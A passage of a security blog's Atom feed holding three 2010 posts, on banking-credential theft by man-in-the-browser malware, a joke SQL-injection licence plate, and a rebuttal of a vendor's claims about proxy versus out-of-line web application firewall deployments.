class="Apple-style-span" style="font-size: medium;"&gt;cyber&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;-criminals - targeting the online banking accounts of businesses.  As the cartoon on the right shows, stealing money from online banks is an optimal choice for savvy &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;cyber&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;-criminals as the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;yield&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; is potentially very high and the risk of physical harm associated with attempting to rob a brick-and-mortar bank is removed.  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;em&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Two such stories come  from &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;ComputerWorld&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; and outline how two companies had money &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;transferred&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; out of their accounts to foreign countries.  The first one tells how &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.computerworld.com/s/article/9153598/Poughkeepsie_N.Y._slams_bank_for_378_000_online_theft"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;the TD Bank account of the town of &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Poughkeepsie&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;, NY &lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;was breached by hackers and approximately $378,000 was transfer out of the account.  The other example describes how &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.computerworld.com/s/article/9149218/Bank_sues_victim_of_800_000_cybertheft"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Plano, TX Hillary Machinery Inc had approximately $800,000 &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;transferred&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; from its &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;PlainsCapital&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; online account&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;em&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;So, how were the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;cyber&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;-criminals able to obtain access to these online bank accounts?  Details are scarce however it appears that the criminals used valid credentials.  A likely source would be a Man-in-the-browser (&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;MitB&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;) type of attack from something like &lt;/span&gt;&lt;/span&gt;&lt;a href="http://blog.threatexpert.com/2009/09/time-to-revisit-zeus-almighty.html"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Zeus&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; which infects client computers and monitors web activity and can steal and even manipulate web data.  Brian Krebs from the Washington Post has been following these trending stories for about 9 months now and this &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.krebsonsecurity.com/2010/03/ebanking-victim-take-a-number/#more-1522"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;blog post seems to corroborate the attack method&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; of MitB types of malware stealing banking credentials.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;em&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;From a web application defense perspective, since the attackers used legit credentials during the transactions, other types of fraud/anomaly detection mechanisms should be employed.  In both example incidents, the fact that these transactions were initiated from computers in other countries (&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Itally&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;/Romania) and transferring money to over-seas accounts should have raised some sort of red-flags.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;em&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Bottom line - user must take extra precautions when accessing online banking accounts such as not using your standard web browser that you use for web surfing and instead using a sand-boxed web browser sessions (in an application such as &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;VMware&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-6984113765580539607?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/6984113765580539607/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=6984113765580539607' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/6984113765580539607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/6984113765580539607'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/hackers-targetting-commercial-online.html' title='Hackers Targetting Commercial Online Bank Accounts'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_E0YEPhKPc2k/S6jGgfz2A7I/AAAAAAAAAGI/H5C4lailchk/s72-c/bank_robbery.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-3817773254478217266</id><published>2010-03-22T15:07:00.007-04:00</published><updated>2010-03-22T16:48:37.838-04:00</updated><title type='text'>Applications vs. Automobiles</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/_E0YEPhKPc2k/S6fB8CGapUI/AAAAAAAAAGA/uKZ0UPCeQqU/s1600-h/SQL_Injection_Plate.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5451539111055369538" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 296px" alt="" src="http://4.bp.blogspot.com/_E0YEPhKPc2k/S6fB8CGapUI/AAAAAAAAAGA/uKZ0UPCeQqU/s400/SQL_Injection_Plate.jpg" border="0" /&gt;&lt;/a&gt; &lt;div&gt;&lt;em&gt;Submitted by Ryan Barnett 03/22/2010&lt;/em&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;I funny picture was sent to me through our PR team at &lt;a href="http://www.schwartz-pr.com/"&gt;Schwartz Communications&lt;/a&gt; that made me chuckle. I am sure you have seen &lt;a href="http://auto.howstuffworks.com/car-driving-safety/safety-regulatory-devices/red-light-camera.htm"&gt;traffic light cameras that automatically take photos of the cars that do not obey traffic lights&lt;/a&gt;. Well, this photo shows how someone was attempting to abuse the fact that most of these cameras are integrated with computers and presumably back-end databases to automatically generate traffic violation tickets.  By placing an SQL query on the front bumper where the license plate would normally reside, the driver of this car may be able to not only evade receiving a ticket but may also delete the entire "tablice" table. &lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;This scenario clearly indicates a growing trend - &lt;strong&gt;&lt;em&gt;the inter-connectedness between applications and automobiles.&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;Another recent news story that echoes this trend is found in a recent &lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;WASC&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;WHID&lt;/span&gt;&lt;/a&gt; &lt;a href="http://wasc-whid.dabbledb.com/page/wasc-whid/dXhcaNXd?embed=false&amp;amp;filter33485=&amp;amp;filter33487=2010-2"&gt;entry&lt;/a&gt; where an attacker was able to hack into his former employer's web application that communicated with systems installed on leased cars. This &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;software&lt;/span&gt; was able to either prevent cars from starting or force the car horn to beep repeatedly if the car's lease payment went past due. The hacker not only destroyed account data but also caused 100+ cars to not start and horns sounding off.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;These are fairly harmless impacts but there is an under current for concern that this inter-connectedness between online applications and our physical world is actually quite fragile and must be protected from abuse. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-3817773254478217266?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/3817773254478217266/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=3817773254478217266' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3817773254478217266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/3817773254478217266'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/applications-vs-automobiles.html' title='Applications vs. Automobiles'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_E0YEPhKPc2k/S6fB8CGapUI/AAAAAAAAAGA/uKZ0UPCeQqU/s72-c/SQL_Injection_Plate.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-4447585016837876640</id><published>2010-03-16T10:07:00.012-04:00</published><updated>2010-03-16T16:16:01.390-04:00</updated><title type='text'>Inline vs. Out-of-Line WAF Deployments</title><content type='html'>&lt;span style="font-style: italic;"&gt;Submitted by Ryan Barnett 03/16/2010&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;There was an article that just came out today entitled "&lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.itweb.co.za/index.php?option=com_content&amp;amp;view=article&amp;amp;id=31317:top-considerations-for-selecting-web-application-firewall-technology&amp;amp;catid=86:computing&amp;amp;Itemid=64&amp;amp;tmpl=component&amp;amp;print=1"&gt;Top considerations for selecting Web Application Firewall technology&lt;/a&gt;&lt;span style="font-family:arial;"&gt;" that I had to comment on.  First of all, the title is misleading as a more accurate title for this would have been "&lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;font-family:arial;" &gt;Proxy vs. Non-Proxy based WAF deployment models&lt;/span&gt;&lt;span style="font-family:arial;"&gt;" as the article highlights why they think that a proxy-based WAF deployment is superior to non-proxy ones.  Is this really the case?  It depends.  Each WAF deployment is different base on the use-case.  Are you going to use it for virtual patching, http audit logging, tracking sensitive data, application DoS or App Defect identification?  All of these scenarios are different and they don't always require an inline, proxy-base deployment model.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;It is also important to note that there are hybrid deployment modes available for WAFs which include deploying sensors out-of-line to gather data and then communicating with agent applications installed on specific, individual web servers.  The advantage of this approach is that for many large networks, they may only want to use an inline approach for some web applications without incurring the latency hit to other applications. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Keep in mind that this article was written by Evolution PR who represents WAF vendor Barracuda Networks - &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;font-family:arial;" &gt;who does not offer an out-of-line/non-proxy based WAF solution&lt;/span&gt;&lt;span style="font-family:arial;"&gt;.  This makes it a bit more clear as to why they are trying to pitch proxy-based WAF as the only real solution.  Breach Security's WebDefend appliance can be deployed in both out-of-line and inline modes so I am not promoting one over the other due to commercial interests.  My aim here is to provide counterpoints to the data presented in this article.  Let's look at the issues highlighted in more depth.&lt;/span&gt;&lt;br /&gt;&lt;p style="font-weight: bold; font-family: arial;"&gt;1. Cloaking&lt;/p&gt;&lt;blockquote style="font-style: italic; font-family: arial;"&gt;&lt;p&gt;Hackers gather information in order to launch an  attack on a Web server by trying to simulate error conditions on a Web  site. Often, the resultant error messages expose information about the  Web server, application server, or the database being used. This  information is then used to launch a full-scale attack on the Web  infrastructure.&lt;/p&gt;&lt;p&gt;A proxy-based WAF intercepts the response from the  back-end server and forwards it to the client only if it is not an  error. If the response is an error, the WAF can suppress the response  containing debugging information and send out a custom response. The WAF  also removes headers such as server banners, which can be used to  identify servers.&lt;/p&gt;&lt;/blockquote&gt;&lt;span style="font-family:arial;"&gt;The WASC Web Application Firewall Evaluation Criteria (WAFEC) document lists several alternative &lt;/span&gt;&lt;a style="font-family: arial;" href="http://webappsec.pbworks.com/f/wasc-wafec-v1.0.html#N103B9"&gt;protection techniques&lt;/a&gt;&lt;span style="font-family:arial;"&gt; that can be employed.  In this section, the article is mainly talking about detailed error leakage prevention which isn't really what is considered web application cloaking.  Cloaking involves attempting to obscure or remove tell-tale signs of the web application technology in use.  These include encrypting or signing Cookies, URLs and parameter data to prevent tampering.  While this is certainly a sexy concept it runs into issues in practice mainly due to the dynamic nature of today's web applications.  &lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;font-family:arial;" &gt;Accurately parsing outbound response bodies in order to accurately identify/update/sign/encrypt all possible parameter data is not easy.&lt;/span&gt;&lt;span style="font-family:arial;"&gt;  You can thank AJAX, Flash, etc... for that.  If is for this reason, that using behavioral profiling of inbound application usage is key. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;2. Input validation&lt;/span&gt;&lt;p face="arial"&gt;&lt;/p&gt;&lt;blockquote style="font-style: italic; font-family: arial;"&gt;&lt;p&gt;A WAF should secure applications where the  incoming traffic may be encrypted or encoded using a non-standard  character encoding.&lt;/p&gt;&lt;p&gt;A proxy based WAF decrypts and normalises data  before running various types of checks, in order to ensure that no  attacks are smuggled inside of encrypted or encoded packets. It also  offers multiple ways of securing inputs - such as encrypting or  digitally signing cookies to prevent against cookie tampering attacks.  It can also recognise which fields are read-only or hidden and ensure  that these fields are not altered. For other fields, it should offer a  host of protection mechanisms such as checking for various attacks on  the input fields and locking down those inputs based on data type, such  as numeric or alpha numeric.&lt;/p&gt;&lt;p&gt;Non-proxy based WAFs do not provide  effective input validation. Although some can encrypt and normalise  data, because they are not proxy-based they are not able to enforce  rules on individual form parameters passed to the application. They also  cannot encrypt or digitally sign the application cookie; relying  instead on signature matching for security.&lt;/p&gt;&lt;/blockquote&gt;&lt;p face="arial"&gt;&lt;/p&gt;&lt;p style="font-family: arial;"&gt;Where to start with this section...  First of all, &lt;span style="font-weight: bold; font-style: italic;"&gt;the deployment model in use (inline vs. out-of-line) has absolutely nothing to do with the WAF's input validation capabilities&lt;/span&gt;.  WAFs can do application profiling/learning and automatically create a positive security profile for URLs+Parameter payloads whether they are proxy-based or not.  It is important to note, however, that there is a difference between detection and blocking.  This section seems to indicate that non-proxy based WAFs can not detect these types of attacks and enforce input validation and this is not true.  Once a violation of the learned profile occurs, however, if you want the WAF to block, then of course an inline WAF can block the request locally.&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold; font-family: arial;"&gt;3. Data theft protection&lt;/p&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;blockquote style="font-style: italic; font-family: arial;"&gt;&lt;p&gt;Proxy based WAFs intercept outbound  data, so they can be configured to ensure that sensitive data - like  credit card numbers - are either masked or altogether blocked to protect  data leakage.&lt;/p&gt;&lt;p&gt;This is only possible because the proxy-based WAF  sits in line with the application server and secures data on both  incoming and outgoing paths - so this is not offered by non-proxy based  WAFs.&lt;/p&gt;&lt;/blockquote&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;p style="font-family: arial;"&gt;Proxy based WAFs do have one advantage when it comes to outbound data handling and that is if the user wants to actually change data on the fly to mask or delete sensitive data and still serve the response to the client.  Again, while this sound like a great concept, there are issues in the real world.  One specific issue which I have seen is when a WAF sanitized data doing outbound and this caused problems with processing of subsequent requests as this data was used within hidden fields.  Remember my point from item #1 above in this regard as accurate parsing of outbound data is oftentimes difficult so properly sanitizing data is challenging as well.&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold; font-family: arial;"&gt;4. Protect against application layer DOS attacks&lt;/p&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;blockquote style="font-style: italic; font-family: arial;"&gt;&lt;p&gt;There are many  ways of launching an application layer denial of service attack. Web  applications maintain state information - such as the number of items in  a shopping cart - with the help of sessions, which require some memory  resources on the Web servers. By forcing a Web server to create  thousands of session leads, memory resources are locked up and this  results in performance degradation and can lead to a server crash.&lt;/p&gt;&lt;p&gt;There  are other ways these attacks can be done. The WAF should be able to  control the rate at which requests reach the Web server, and track the  rate of session creation. This is only possible with a system that  proxies on behalf of the Web or application server.&lt;/p&gt;&lt;/blockquote&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;p style="font-family: arial;"&gt;Again - not true.  Out-of-Line WAFs are also able to do rate-limiting and identify potential DoS scenarios.  Breach Security's WebDefend appliance has Excessive Access Rate Detection capabilities which allow the user to set appropriate &lt;a href="http://projects.webappsec.org/Insufficient+Anti-automation"&gt;Anti-Automation&lt;/a&gt; rate-limiting thresholds to prevent brute force, scraping and DoS attacks.  In an earlier blog post I also outlined how a WAF can &lt;a href="http://tacticalwebappsec.blogspot.com/2009/10/identifying-denial-of-service.html"&gt;Identify DoS Conditions through Performance Monitoring&lt;/a&gt; which helps to identify stealthy attacks that aim to open http connections and then sit idle and tie up processes.  Under all of these circumstances, the issue is not about detection but how are you going to react when these attacks are identified.  WAFs can choose to issue TCP resets based on increasing granularity: IP addresses, SessionIDs, or specific application usernames.  If your site is under a heavy DDoS attack, it is usually appropriate to take evasion actions and actually push out the IP blocking to a network security device at the edge of your network.&lt;/p&gt;&lt;p style="font-weight: bold; font-family: arial;"&gt;5. Centralised security enforcement&lt;/p&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;blockquote style="font-style: italic; font-family: arial;"&gt;&lt;p&gt;The ability to  enforce all security policies from a single control point allows for  simplified operations and infrastructure. To ensure safer and more  efficient security administration, it is advisable that controlling and  enforcing attack prevention, privacy (SSL cryptography) and AAA  (Authentication, Authorisation, Accounting) policy is done through a  single control point.&lt;/p&gt;&lt;p&gt;Because a non-proxy WAF does not terminate  TCP connections, it does not have the ability to request credentials  from incoming users, issue cookies upon successful credential exchange,  redirect sessions to particular destinations, or restrict particular  users to particular resources. Proxy-based solutions, on the other hand,  have the capability to be an AAA authority - or to fully integrate with  existing AAA infrastructure.&lt;/p&gt;&lt;/blockquote&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;p style="font-family: arial;"&gt;Centralization of authentication/authorization mechanism is great from a management perspective but it isn't always appropriate from a WAF perspective.  Most web applications handle user authentications themselves and are managed by different business units.  Forget about WAFs for a minute - it is a larger undertaking to centralize web application account administration than to try and start this because you are going to implement a WAF.  Where this makes sense is if/when you are create more of a portal environment and you want to then broker requests to different internal business units.&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold; font-family: arial;"&gt;6. Control the response&lt;/p&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;blockquote style="font-style: italic; font-family: arial;"&gt;&lt;p&gt;Because of the wide range of security  violations, it is important that the administrator is able to respond to  threats differently. For example, in many cases it would be best to  respond to a violation with a custom message or connection reset, while  in others the administrator may want to follow up with the main action  directly, with a longer block time.&lt;/p&gt;&lt;p&gt;Only proxy-based solutions are  able to offer this sort of flexibility, as non-proxy based WAFs rely  solely on sending TCP resets back to the attacker and temporary network  ACLs as their protective mechanisms. Attacking packets will make it  through to the server, and blocking actions are time-limited.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p style="font-family: arial;"&gt;Don't forget about the hybrid deployment option I mentioned at the beginning which includes adding agents to specific web applications.  This section does have a point, however, in that if you want to get more granular with handling custom error messages and redirecting the user under specific circumstances then having an inline WAF provides more options.  As far as disruptive actions, out-of-line WAFs are not relegated to only using TCP resets.  One interesting reactive action that Breach Security's WebDefend appliance has is called "Application Logout" in which the WAF initiates an http request to the application simulates the client actually logging out.  This is similar in theory to doing TCP resets at lower OSI levels where you have to spoof the proper sequence numbers in order to terminate the connections.  For the http layer, WebDefend will dynamically insert the proper application SessionID cookie value when submitting the app logout so it appears from the application's perspective that the logout was initiated by the user.  Pretty slick.  It is quite handy when used under certain policy violations such as suspected Session Hijacking events.&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold; font-family: arial;"&gt;7. SSL architectural considerations&lt;/p&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;blockquote style="font-style: italic; font-family: arial;"&gt;&lt;p&gt;Application attacks use SSL  cryptography and common encoding techniques to bypass traditional  security measures, and hide their attacks. Proxy and non-proxy WAFs are  quite different in the way they handle SSL cryptography and key  management.&lt;/p&gt;&lt;p&gt;Non-proxy WAF vendors claim that they also have the  technology to 'see' into an SSL encrypted packet as it passes by the  non-proxy device. However, because decrypting and analysing the data  takes time, by the time the non-proxy WAF is ready to make a decision,  the attack will have already reached the back-end servers and completed  the transaction.&lt;/p&gt;&lt;p&gt;Proxy based WAFs, on the other hand, are designed  to serve as an SSL termination endpoint. Proxies tightly couple TCP,  SSL and HTTP termination, giving them complete visibility into  application content and allowing them to perform deep inspection on the  entire session payload, including headers, URLs, parameters and form  fields.&lt;/p&gt;&lt;/blockquote&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;p style="font-family: arial;"&gt;This section brings up and interesting trade-off that all WAF users must deal with - performance/latency of inspection vs. effective blocking.  Out-of-line deployments are ideal for the former while inline deployments are the best for the latter.  So, which items is more important to you?  The second paragraph makes it seems as though out-of-line WAFs can't do the same SSL decryption/inspection and that is false as they can provide the same level of visibility.  The issue is with that of latency and if, after inspection, disruptive actions are employed.&lt;/p&gt;&lt;p style="font-weight: bold; font-family: arial;"&gt;8. Accelerate and scale application delivery&lt;/p&gt;&lt;p style="font-style: italic; font-family: arial;"&gt;&lt;/p&gt;&lt;blockquote style="font-family: arial;"&gt;It is important  that a WAF product does not negatively affect end-user response time.  Proxy based firewalls fully terminate the TCP, SSL and HTTP, reducing  end user response time. They should be able to cache static content from  the application, offloading servers and saving download time; pool TCP  connections to the back-end servers and offload SSL processing, thereby  reducing server load and end-user response time. Non-proxy based WAF  products do not offer these features.&lt;/blockquote&gt;&lt;p style="font-family: arial;"&gt;&lt;/p&gt;&lt;p style="font-family: arial;"&gt;The first sentence is the key from a WAF perspective as all users want to add in the security inspection without negatively affecting end users.  If you deploy an out-of-line WAF, then there will be no added performance or latency hit.  If, on the other hand, you deploy an inline WAF then there is going to be a negative impact due to the SSL decryption, traffic inspection and probable SSL re-encryption on the back-end.  It is for this reason that many inline WAFs have had to add on the application acceleration aspects to attempt to off-set this performance hit.  So, you end up having a WAF vendor that is then trying to bolt on ADC types of functions and compete with other vendors who specialize in this space (such as an F5).  On the flip side, you have ADC vendors (again like an F5) who specialize in application delivery who try and also bolt on add-on modules to provide web application firewall functionality.  The main problem I see on both fronts is that they are going outside of their core competency.  When deploying a WAF, it is best to do an architecture review to identify the ideal location for both inspection and blocking of traffic.  This may include placing WAFs either before or after existing HTTP Load Balancers.  There are benefits of both approaches.  From a blocking perspective, an out-of-line WAF has a better chance of terminating a TCP connection if it is deployed directly in front of another layer 7 inspection device.  On the performance front - if you can terminate SSL decryption on the load balancers, then placing the WAF behind them will make it more 